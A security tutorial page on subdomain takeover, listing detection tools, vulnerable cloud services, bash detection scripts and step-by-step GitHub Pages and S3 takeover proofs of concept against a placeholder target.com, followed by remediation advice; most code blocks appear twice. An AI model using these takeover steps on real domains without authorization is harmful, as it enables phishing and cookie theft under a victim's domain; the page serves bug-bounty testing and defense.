Reconnaissance A05

Subdomain Takeover

Subdomain takeover occurs when a DNS record points to a resource that no longer exists. An attacker can claim the resource and serve content under the victim's domain — a high-severity finding.

⚠️ Why Subdomain Takeover Is Critical

Cookie Theft: Cookies scoped to the parent domain are sent to the attacker-controlled subdomain
Phishing: Attacker serves phishing pages under a legitimate domain, bypassing user suspicion
CSP Bypass: If CSP allows *.target.com, the taken-over subdomain can serve malicious scripts
Email Interception: MX record takeovers enable receiving emails for the domain

💡 Bug Bounty Tip: Subdomain takeovers are consistently rewarded as High/Critical findings in bug bounty programs. They're one of the most common findings in large organizations.

🛠️ Takeover Detection Tools

Nuclei

Template-based takeover detection

nuclei -t http/takeovers/ GitHub →

subjack

Subdomain takeover tool by haccer

go install ...subjack@latest GitHub →

can-i-take-over-xyz

Reference for takeover-able services

GitHub →

dnsx

Fast DNS resolution and CNAME detection

go install ...dnsx@latest GitHub →

SubOver

Detect possible subdomain takeovers

go install ...SubOver@latest GitHub →

dnsreaper

Subdomain takeover via DNS zone audit

pip install dnsreaper GitHub →

How Subdomain Takeover Works

Service CNAME Pattern Error Indicator Takeover?
GitHub Pages *.github.io "There isn't a GitHub Pages site here." ✅ Yes
Heroku *.herokuapp.com "No such app" ✅ Yes
AWS S3 *.s3.amazonaws.com "NoSuchBucket" ✅ Yes
Azure *.azurewebsites.net NXDOMAIN ✅ Yes
Shopify *.myshopify.com "Sorry, this shop is currently unavailable" ✅ Yes
Netlify *.netlify.app "Not Found - Request ID" ⚠️ Sometimes
Cloudflare Various Custom 5xx ❌ No (registered domains)

Detection Methodology

bash
# Step 1: Find subdomains with CNAME records
subfinder -d target.com -silent | dnsx -cname -o cnames.txt

# Step 2: Check for dangling CNAMEs (NXDOMAIN targets)
cat cnames.txt | while read sub cname; do
    if ! host "$cname" > /dev/null 2>&1; then
        echo "[DANGLING] $sub$cname"
    fi
done

# Step 3: Automated takeover check with Nuclei
subfinder -d target.com -silent | nuclei -t http/takeovers/ -silent

# Step 4: subjack verification
subjack -w subdomains.txt -t 20 -timeout 30 -ssl -a

# Step 5: Manual verification - visit the subdomain
# Look for service-specific error messages:
curl -sI https://staging.target.com
# Check for: 404 with cloud provider branding, NXDOMAIN, "bucket does not exist"
# Step 1: Find subdomains with CNAME records
subfinder -d target.com -silent | dnsx -cname -o cnames.txt

# Step 2: Check for dangling CNAMEs (NXDOMAIN targets)
cat cnames.txt | while read sub cname; do
    if ! host "$cname" > /dev/null 2>&1; then
        echo "[DANGLING] $sub$cname"
    fi
done

# Step 3: Automated takeover check with Nuclei
subfinder -d target.com -silent | nuclei -t http/takeovers/ -silent

# Step 4: subjack verification
subjack -w subdomains.txt -t 20 -timeout 30 -ssl -a

# Step 5: Manual verification - visit the subdomain
# Look for service-specific error messages:
curl -sI https://staging.target.com
# Check for: 404 with cloud provider branding, NXDOMAIN, "bucket does not exist"

Exploitation Examples

GitHub Pages Takeover

bash
# 1. Confirm: blog.target.com CNAME → targetorg.github.io (returns 404)
dig blog.target.com CNAME
curl -sI https://blog.target.com  # "There isn't a GitHub Pages site here."

# 2. Create a GitHub repo named "targetorg.github.io"
# Or create a repo with a CNAME file containing "blog.target.com"

# 3. Add a CNAME file with the target subdomain
echo "blog.target.com" > CNAME
git add CNAME && git commit -m "takeover" && git push

# 4. GitHub now serves your content at blog.target.com
# 1. Confirm: blog.target.com CNAME → targetorg.github.io (returns 404)
dig blog.target.com CNAME
curl -sI https://blog.target.com  # "There isn't a GitHub Pages site here."

# 2. Create a GitHub repo named "targetorg.github.io"
# Or create a repo with a CNAME file containing "blog.target.com"

# 3. Add a CNAME file with the target subdomain
echo "blog.target.com" > CNAME
git add CNAME && git commit -m "takeover" && git push

# 4. GitHub now serves your content at blog.target.com

AWS S3 Bucket Takeover

bash
# 1. Confirm: assets.target.com CNAME → assets-target.s3.amazonaws.com (NoSuchBucket)
dig assets.target.com CNAME
curl -sI https://assets.target.com  # XML error: "NoSuchBucket"

# 2. Create a bucket with the same name in your AWS account
aws s3 mb s3://assets-target --region us-east-1

# 3. Upload proof-of-concept content
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
aws s3 cp index.html s3://assets-target/index.html --acl public-read

# 4. Enable static website hosting
aws s3 website s3://assets-target --index-document index.html
# 1. Confirm: assets.target.com CNAME → assets-target.s3.amazonaws.com (NoSuchBucket)
dig assets.target.com CNAME
curl -sI https://assets.target.com  # XML error: "NoSuchBucket"

# 2. Create a bucket with the same name in your AWS account
aws s3 mb s3://assets-target --region us-east-1

# 3. Upload proof-of-concept content
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
aws s3 cp index.html s3://assets-target/index.html --acl public-read

# 4. Enable static website hosting
aws s3 website s3://assets-target --index-document index.html

Automation Pipeline

bash
#!/bin/bash
# Subdomain Takeover Detection Pipeline
# Usage: ./takeover_check.sh domains.txt

INPUT="$1"
OUTPUT="takeover_results_$(date +%Y%m%d)"
mkdir -p "$OUTPUT"

echo "[*] Step 1: Subdomain enumeration"
subfinder -dL "$INPUT" -o "$OUTPUT/subdomains.txt" -silent
echo "    Found $(wc -l < $OUTPUT/subdomains.txt) subdomains"

echo "[*] Step 2: DNS resolution check"
dnsx -l "$OUTPUT/subdomains.txt" -cname -o "$OUTPUT/cnames.txt" -silent
echo "    Found $(wc -l < $OUTPUT/cnames.txt) CNAME records"

echo "[*] Step 3: Check for dangling CNAME targets"
while read -r line; do
    subdomain=$(echo "$line" | awk '{print $1}')
    cname=$(echo "$line" | awk '{print $2}')
    
    # Check if CNAME target resolves
    if ! host "$cname" > /dev/null 2>&1; then
        echo "  [!] POTENTIAL TAKEOVER: $subdomain$cname (NXDOMAIN)"
        echo "$subdomain,$cname" >> "$OUTPUT/dangling.txt"
    fi
done < "$OUTPUT/cnames.txt"

echo "[*] Step 4: Nuclei takeover detection"
nuclei -l "$OUTPUT/subdomains.txt" -t http/takeovers/ -o "$OUTPUT/nuclei_takeovers.txt" -silent

echo "[*] Step 5: Subjack verification"
subjack -w "$OUTPUT/subdomains.txt" -t 20 -timeout 30 -o "$OUTPUT/subjack_results.txt" -ssl

echo ""
echo "[+] Results saved to $OUTPUT/"
echo "    Dangling CNAMEs: $OUTPUT/dangling.txt"
echo "    Nuclei results: $OUTPUT/nuclei_takeovers.txt"
#!/bin/bash
# Subdomain Takeover Detection Pipeline
# Usage: ./takeover_check.sh domains.txt

INPUT="$1"
OUTPUT="takeover_results_$(date +%Y%m%d)"
mkdir -p "$OUTPUT"

echo "[*] Step 1: Subdomain enumeration"
subfinder -dL "$INPUT" -o "$OUTPUT/subdomains.txt" -silent
echo "    Found $(wc -l < $OUTPUT/subdomains.txt) subdomains"

echo "[*] Step 2: DNS resolution check"
dnsx -l "$OUTPUT/subdomains.txt" -cname -o "$OUTPUT/cnames.txt" -silent
echo "    Found $(wc -l < $OUTPUT/cnames.txt) CNAME records"

echo "[*] Step 3: Check for dangling CNAME targets"
while read -r line; do
    subdomain=$(echo "$line" | awk '{print $1}')
    cname=$(echo "$line" | awk '{print $2}')
    
    # Check if CNAME target resolves
    if ! host "$cname" > /dev/null 2>&1; then
        echo "  [!] POTENTIAL TAKEOVER: $subdomain$cname (NXDOMAIN)"
        echo "$subdomain,$cname" >> "$OUTPUT/dangling.txt"
    fi
done < "$OUTPUT/cnames.txt"

echo "[*] Step 4: Nuclei takeover detection"
nuclei -l "$OUTPUT/subdomains.txt" -t http/takeovers/ -o "$OUTPUT/nuclei_takeovers.txt" -silent

echo "[*] Step 5: Subjack verification"
subjack -w "$OUTPUT/subdomains.txt" -t 20 -timeout 30 -o "$OUTPUT/subjack_results.txt" -ssl

echo ""
echo "[+] Results saved to $OUTPUT/"
echo "    Dangling CNAMEs: $OUTPUT/dangling.txt"
echo "    Nuclei results: $OUTPUT/nuclei_takeovers.txt"

🛡️ Remediation & Defense

Defensive Measures

DNS Hygiene

  • • Remove DNS records when decommissioning services
  • • Audit DNS records regularly for stale/dangling entries
  • • Use CNAME monitoring/alerting for critical domains
  • • Maintain an inventory of all cloud service bindings

Operational Process

  • • Include DNS cleanup in service decommissioning checklists
  • • Require ownership verification for custom domains on cloud services
  • • Scope parent domain cookies narrowly (avoid .target.com)
  • • Run automated takeover detection in CI/CD pipelines

CWE References: CWE-284 (Improper Access Control), CWE-668 (Exposure of Resource to Wrong Sphere)

✅ Takeover Testing Checklist

Discovery
  • ☐ Enumerate all subdomains
  • ☐ Identify CNAME records
  • ☐ Check for NXDOMAIN targets
  • ☐ Identify cloud service indicators
Verification
  • ☐ Confirm service-specific error messages
  • ☐ Verify takeover possibility (can-i-take-over-xyz)
  • ☐ Run automated tools (nuclei, subjack)
  • ☐ Test NS record delegation too
Documentation
  • ☐ Screenshot error pages
  • ☐ Record DNS chain (dig output)
  • ☐ Demonstrate impact (cookie scope, CSP)
  • ☐ Provide cleanup steps in report